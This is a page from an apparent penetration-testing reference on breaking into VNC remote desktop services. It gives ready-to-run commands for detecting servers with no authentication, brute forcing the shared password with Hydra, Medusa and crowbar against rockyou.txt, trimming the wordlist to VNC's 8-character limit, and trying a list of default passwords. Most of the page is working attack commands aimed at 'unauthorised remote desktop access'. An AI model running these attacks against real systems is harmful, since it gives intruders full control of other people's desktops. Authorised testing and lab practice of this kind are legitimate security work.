# VNC Brute Force and Default Credential Exploitation

> Exploit VNC services via brute force and default credentials using Hydra, Metasploit, and manual techniques to gain unauthorised remote desktop access.

- **URL:** https://hackindex.io/services/vnc/exploitation/brute-force-default-credentials
- **Path:** VNC > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/vnc/exploitation.md)
- **Published:** 2026-03-12
- **Updated:** 2026-07-10

VNC uses a single shared password with no username. The password is capped at 8 characters: anything beyond that is silently truncated by most implementations. Many deployments ship with blank passwords, weak defaults, or authentication disabled entirely. A successful login gives a full graphical desktop session.

Before running a wordlist attack, check if the target accepts connections with no password at all. That is faster and common in labs.

VNC password constraints:

- Single shared password with no username field
- Maximum 8 characters (anything beyond is truncated)
- No lockout policy on most implementations

## Checking for No Authentication

The Nmap NSE script `vnc-info` shows which security types the server offers:

```bash
nmap -p 5900 --script vnc-info $TARGET_IP
```

If the output includes `Security types: None` or `Type 1 - None`, connect directly:

```bash
vncviewer $TARGET_IP:5900
```

Press Enter at any password prompt without typing anything. On misconfigured servers this completes immediately. For a dedicated no-auth page see [https://hackindex.io/services/vnc/exploitation/unauthenticated-access](https://hackindex.io/services/vnc/exploitation/unauthenticated-access).

## Brute Force with Hydra

```bash
hydra -P /usr/share/wordlists/rockyou.txt -t 4 vnc://$TARGET_IP
```

`-t 4` limits threads: VNC servers disconnect or lock out under high concurrency. Keep threads low. For a non-standard port:

```bash
hydra -P /usr/share/wordlists/rockyou.txt -t 4 vnc://$TARGET_IP:$PORT
# [5900][vnc] host: 10.10.10.10   password: password1
```

## Brute Force with Medusa

```bash
medusa -h $TARGET_IP -u '' -P /usr/share/wordlists/rockyou.txt -M vnc
```

## Brute Force with crowbar

crowbar handles the RFB protocol reliably and is worth trying when Hydra gives inconsistent results:

```bash
crowbar -b vnckey -s $TARGET_IP/32 -C /usr/share/wordlists/rockyou.txt -n 1
```

`-n 1` forces a single thread: essential for VNC stability.

## Filtering the Wordlist for 8-Character Limit

VNC passwords are truncated at 8 characters. Filter rockyou.txt to speed up the attack significantly:

```bash
awk 'length($0) <= 8' /usr/share/wordlists/rockyou.txt > rockyou_8char.txt
hydra -P rockyou_8char.txt -t 4 vnc://$TARGET_IP
```

## Common Default VNC Passwords

Try these first before running a full wordlist:

```
(blank: press Enter)
password
1234
admin
vnc
secret
12345678
```

## Connecting After a Successful Find

```bash
vncviewer $TARGET_IP:5900
```

Supply the password at the prompt. For non-standard ports:

```bash
vncviewer $TARGET_IP:$PORT
```

## Non-Standard Port Mapping

VNC display numbers map to ports as `5900 + display`. Display 0 is 5900, display 1 is 5901, and so on. Any open port in the 5900-5910 range is likely VNC.

## References

- [crowbar](https://github.com/galkan/crowbar) - galkan VNC brute force module documentation.
- [THC Hydra](https://github.com/vanhauser-thc/thc-hydra) - VNC module documentation and thread tuning guidance.